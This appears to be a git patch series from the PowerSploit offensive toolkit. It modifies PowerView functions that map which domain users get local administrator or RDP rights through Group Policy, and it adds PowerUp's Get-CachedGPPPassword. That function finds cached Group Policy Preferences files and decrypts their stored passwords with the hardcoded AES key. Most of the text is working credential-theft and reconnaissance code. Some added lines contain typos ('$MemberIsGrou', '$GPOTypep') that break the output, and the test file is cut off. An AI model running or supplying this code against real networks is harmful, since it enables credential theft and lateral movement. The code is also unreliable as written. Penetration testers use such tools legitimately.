query for GPOs, defaults to the current domain. @@ -6638,22 +6608,26 @@ function Get-NetGPOGroup { .PARAMETER ADSpath - The LDAP source to search through + The LDAP source to search through for GPOs. e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - .PARAMETER PageSize + .PARAMETER ResolveMemberSIDs - The PageSize to set for the LDAP searcher object. + Switch. Try to resolve the SIDs of all found group members. .PARAMETER UsePSDrive Switch. Mount any found policy files with temporary PSDrives. + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + .EXAMPLE PS C:\> Get-NetGPOGroup - Get all GPOs that set local groups on the current domain. + Returns all local groups set by GPO along with their members and memberof. #> [CmdletBinding()] @@ -6664,9 +6638,6 @@ function Get-NetGPOGroup { [String] $DisplayName, - [Switch] - $ResolveSids, - [String] $Domain, @@ -6676,6 +6647,9 @@ function Get-NetGPOGroup { [String] $ADSpath, + [Switch] + $ResolveMemberSIDs, + [Switch] $UsePSDrive, @@ -6684,11 +6658,11 @@ function Get-NetGPOGroup { $PageSize = 200 ) + $Option = [System.StringSplitOptions]::RemoveEmptyEntries + # get every GPO from the specified domain with restricted groups set Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { - $Memberof = $Null - $Members = $Null $GPOdisplayName = $_.displayname $GPOname = $_.name $GPOPath = $_.gpcfilesyspath @@ -6701,58 +6675,108 @@ function Get-NetGPOGroup { # parse the GptTmpl.inf 'Restricted Groups' file if it exists $Inf = Get-GptTmpl @ParseArgs - if($Inf.GroupMembership) { + if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { - $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + $Memberships = @{} - if(!$Members) { - try { - $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name - $Members = ($MembersRaw -split "__")[0].trim("*") - } - catch { - $MembersRaw = '' - } - } + # group the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} - if(!$Memberof) { - try { - $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name - $Memberof = ($MemberofRaw -split "__")[0].trim("*") + $MembershipValue = $Membership.Value.Split(',') | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + if($MembershipValue -isnot [System.Array]) { $MembershipValue = @($MembershipValue) } + + if($ResolveMemberSIDs) { + $GroupMembers = @() + ForEach($Member in $MembershipValue) { + Write-Verbose "Member: $Member" + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + $MembershipValue = $GroupMembers } - catch { - $Memberof = '' + + if(-not $Memberships[$Group]) { + $Memberships[$Group] = @{} } + $Memberships[$Group].Add($Relation, $MembershipValue) } - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ } - $Members = $Members | ForEach-Object { Convert-SidToName $_ } - } + ForEach ($Membership in $Memberships.GetEnumerator()) { + if($Membership.Key -match '^\*') { + # if the SID is already resolved, try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + $GroupName = Convert-SidToName -SID $GroupSID + } + else { + $GroupName = $Membership.Key - if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)} - if($Members -isnot [System.Array]) {$Members = @($Members)} + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GPOPath - 'Filters' = $Null - 'MemberOf' = $Memberof - 'Members' = $Members + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup } - - New-Object -TypeName PSObject -Property $GPOProperties } $ParseArgs = @{ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" - 'ResolveSids' = $ResolveSids 'UsePSDrive' = $UsePSDrive } - Get-GroupsXML @ParseArgs + Get-GroupsXML @ParseArgs | ForEach-Object { + if($ResolveMemberSIDs) { + $GroupMembers = @() + ForEach($Member in $_.GroupMembers) { + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ + } } } @@ -6766,12 +6790,12 @@ function Find-GPOLocation { (or RDP) rights to. It does this by: - 1. resolving the user/group to its proper sid + 1. resolving the user/group to its proper SID 2. enumerating all groups the user/group is a current part of and extracting all target SIDs to build a target SID list - 3. pulling all GPOs that set 'Restricted Groups' by calling + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling Get-NetGPOGroup - 4. matching the target sid list to the queried GPO SID list + 4. matching the target SID list to the queried GPO SID list to enumerate all GPO the user is effectively applied with 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating @@ -6862,9 +6886,9 @@ function Find-GPOLocation { Throw "User '$UserName' not found!" } - $TargetSid = $UserSid + $TargetSIDs = @($UserSid) $ObjectSamAccountName = $User.samaccountname - $TargetObjects = $UserSid + $TargetObject = $UserSid } elseif($GroupName) { @@ -6875,149 +6899,139 @@ function Find-GPOLocation { Throw "Group '$GroupName' not found!" } - $TargetSid = $GroupSid + $TargetSIDs = @($GroupSid) $ObjectSamAccountName = $Group.samaccountname - $TargetObjects = $GroupSid + $TargetObject = $GroupSid } else { - $TargetSid = '*' + $TargetSIDs = @('*') } if($LocalGroup -like "*Admin*") { - $LocalSID = 'S-1-5-32-544' + $TargetLocalSID = 'S-1-5-32-544' } elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $LocalSID = 'S-1-5-32-555' + $TargetLocalSID = 'S-1-5-32-555' } elseif ($LocalGroup -like "S-1-5-*") { - $LocalSID = $LocalGroup + $TargetLocalSID = $LocalGroup } else { - throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid." + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." } - Write-Verbose "LocalSid: $LocalSID" - Write-Verbose "TargetSid: $TargetSid" - - if($TargetSid -ne '*') { - if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } - + if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { # use the tokenGroups approach from Get-NetGroup to get all effective security SIDs this object is a part of - $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + } - if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } + if(-not $TargetSIDs) { + throw "No effective target SIDs!" } - Write-Verbose "Effective target sids: $TargetSid" + Write-Verbose "TargetLocalSID: $TargetLocalSID" + Write-Verbose "Effective target SIDs: $TargetSIDs" $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True 'PageSize' = $PageSize } - # get all GPO groups, and filter on ones that match our target SID list and match the target local sid memberof list $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - if ($_.members) { - $_.members = $_.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique - # stop PowerShell 2.0's string stupid unboxing - if($_.members -isnot [System.Array]) { $_.members = @($_.members) } - if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) } + $GPOgroup = $_ - # check if the memberof contains the sid of the local account we're searching for - Write-Verbose "memberof: $($_.memberof)" - if ($_.memberof -contains $LocalSid) { - # check if there's an overlap between the members field and the set of target sids if $TargetSid = *, then return all results - if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { - $_ + # if the locally set group is what we're looking for or the locally set group is a + # member of what we're looking for, check the GroupMembers for our target SID + if( ($GPOgroup.GroupSID -match $TargetLocalSID) -or ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup } } } - } - - $ProcessedGUIDs = @{} + } | Sort-Object -Property GPOName -Unique - # process the matches and build the result objects - $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOgroups | ForEach-Object { + $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName - $GPOMembers = $_.Members + $GPOPath = $_.GPOPath + $GPOMembers = $_.GroupMembers + $Filters = $_.Filters - if(!$TargetObjects) { - # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $TargetObjects = $GPOMembers + if(-not $TargetObject) { + # if the * wildcard was used, set the ObjectDistName as the GPO member SID set + $TargetObject = $GPOMembers } - if( -not $ProcessedGUIDs[$GPOguid] ) { - $GPOname = $_.GPODisplayName - $Filters = $_.Filters + if($GPOName -match 'Groups.xml') { + $GPOType = 'GroupPolicyPreferences' + } + else { + $GPOType = 'RestrictedGroups' + } - # find any OUs that have this GUID applied and then retrieve any computers from the OU - Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + # find any OUs that have this GUID applied and then retrieve any computers from the OU + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters (i.e. OU filters?) + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $_.adspath -match ($Filters.Value) + } | ForEach-Object { $_.dnshostname } + } + else { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize + } - if($Filters) { - # filter for computer name/org unit if a filter is specified - # TODO: handle other filters? - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { - $_.adspath -match ($Filters.Value) - } | ForEach-Object { $_.dnshostname } - } - else { - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize - } + if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} - ForEach ($TargetSid in $TargetObjects) { + ForEach ($TargetSid in $TargetObject) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers - $GPOLocation - } + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocation } + } - # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + # find any sites that have this GUID applied + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { - ForEach ($TargetSid in $TargetObjects) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + ForEach ($TargetSid in $TargetObject) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup - $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl - $AppliedSite - } + $AppliedSite = New-Object PSObject + $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath + $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $AppliedSite } - - # mark off this GPO GUID so we don't process it again if there are dupes - $ProcessedGUIDs[$GPOguid] = $True } } } @@ -7152,7 +7166,7 @@ function Find-GPOComputerAdmin { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController - 'ADSpath' = $_ + 'ResolveMemberSIDs' = $True 'UsePSDrive' = $UsePSDrive 'PageSize' = $PageSize } @@ -7184,33 +7198,27 @@ function Find-GPOComputerAdmin { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController - 'ADSpath' = $_ 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True 'PageSize' = $PageSize } - # for each GPO link, get any locally set user/group SIDs Get-NetGPOGroup @GPOGroupArgs } } # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Where-Object {$_} | ForEach-Object { - $GPO = $_ + $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ - if ($GPO.members) { - $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique + if($GPOGroup.GPOPath -match 'Groups.xml') { + $GPOType = 'GroupPolicyPreferences' + } + else { + $GPOType = 'RestrictedGroups' } - $GPO.members | ForEach-Object { + $GPOGroup.GroupMembers | ForEach-Object { # resolve this SID to a domain object $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ @@ -7219,12 +7227,14 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType $GPOComputerAdmin # if we're recursing and the current result object is a group @@ -7256,12 +7266,14 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep $GPOComputerAdmin } } @@ -10496,7 +10508,7 @@ function Invoke-EventHunter { elseif($UserName) { # Write-Verbose "[*] Using target user '$UserName'..." $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} - if($TargetUsers -isnot [system.array]) { + if($TargetUsers -isnot [System.Array]) { $TargetUsers = @($TargetUsers) } } @@ -12990,7 +13002,7 @@ function Invoke-MapDomainTrust { $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential } - if($Trusts -isnot [system.array]) { + if($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } From 5f8d8b0a10b07407430270e984b4a64d695070ee Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 6 Jun 2016 15:37:52 -0400 Subject: [PATCH 158/296] Addded Get-CachedGPPPassword to PowerUp, based almost entirely on Get-GPPPassword. Added Pester tests for Get-CachedGPPPassword. --- Privesc/PowerUp.ps1 | 208 ++++++++++++++++++++++++++++++++++++++++ Tests/Privesc.tests.ps1 | 26 +++++ 2 files changed, 234 insertions(+) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 447ce611..8dd14c5f 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -3502,6 +3502,206 @@ function Get-SiteListPassword { } +function Get-CachedGPPPassword { +<# + .SYNOPSIS + + Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. + + PowerSploit Function: Get-CachedGPPPassword + Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords. + + .EXAMPLE + + PS C:\> Get-CachedGPPPassword + + + NewName : [BLANK] + Changed : {2013-04-25 18:36:07} + Passwords : {Super!!!Password} + UserNames : {SuperSecretBackdoor} + File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + + .LINK + + http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html + https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> + + [CmdletBinding()] + Param() + + # Some XML issues between versions + Set-StrictMode -Version 2 + + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core + + # helper that decodes and decrypts password + function local:Get-DecryptedCpassword { + [CmdletBinding()] + Param ( + [string] $Cpassword + ) + + try { + # Append appropriate padding based on string length + $Mod = ($Cpassword.length % 4) + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + # Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + # Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch {Write-Error $Error[0]} + } + + # helper that parses fields from the found xml preference files + function local:Get-GPPInnerFields { + [CmdletBinding()] + Param ( + $File + ) + + try { + + $Filename = Split-Path $File -Leaf + [XML] $Xml = Get-Content ($File) + + $Cpassword = @() + $UserName = @() + $NewName = @() + $Changed = @() + $Password = @() + + # check for password field + if ($Xml.innerxml -like "*cpassword*"){ + + Write-Verbose "Potential password in $File" + + switch ($Filename) { + 'Groups.xml' { + $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Services.xml' { + $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Scheduledtasks.xml' { + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'DataSources.xml' { + $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + + foreach ($Pass in $Cpassword) { + Write-Verbose "Decrypting $Pass" + $DecryptedPassword = Get-DecryptedCpassword $Pass + Write-Verbose "Decrypted a password of $DecryptedPassword" + #append any new passwords to array + $Password += , $DecryptedPassword + } + + # put [BLANK] in variables + if (-not $Password) {$Password = '[BLANK]'} + if (-not $UserName) {$UserName = '[BLANK]'} + if (-not $Changed) {$Changed = '[BLANK]'} + if (-not $NewName) {$NewName = '[BLANK]'} + + # Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) {Return $ResultsObject} + } + + catch {Write-Error $Error[0]} + } + + try { + $AllUsers = $Env:ALLUSERSPROFILE + + if($AllUsers -notmatch 'ProgramData') { + $AllUsers = "$AllUsers\Application Data" + } + + # discover any locally cached GPP .xml files + $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ( -not $XMlFiles ) { throw 'No preference files found.' } + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + ForEach ($File in $XMLFiles) { + Get-GppInnerFields $File.Fullname + } + } + + catch {Write-Error $Error[0]} +} + + function Write-UserAddMSI { <# .SYNOPSIS @@ -3716,6 +3916,14 @@ function Invoke-AllChecks { } "`n" + "`n`n[*] Checking for cached Group Policy Preferences .xml files...." + $Results = Get-CachedGPPPassword | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Cached GPP Files

    " | Out-File -Append $HtmlReportFile + } + "`n" + if($HTMLReport) { "[*] Report written to '$HtmlReportFile' `n" } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index b2478dea..a36338e3 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -1196,6 +1196,32 @@ Describe 'Get-SiteListPassword' { } +Describe 'Get-CachedGPPPassword' { + + if(-not $(Test-IsAdmin)) { + Throw "'Get-CachedGPPPassword' Pester test needs local administrator privileges." + } + + # all referenced GPP .xml sources from https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/rex/parser/group_policy_preferences_spec.rb + It 'Should throw if no files are found.' { + Get-CachedGPPPassword | Should Throw + } + + It 'Should correctly find and parse a cached Groups.xml file.' { + $Path = "${Env:ALLUSERSPROFILE}\Microsoft\Group Policy\History\{23C4E89F-7D3A-4237-A61D-8EF82B5B9E42}\Machine\Preferences\Groups\Groups.xml" + $Null = New-Item -ItemType File -Path $Path -Force + $GroupsXml = '' + $GroupsXml | Out-File -FilePath $Path -Force 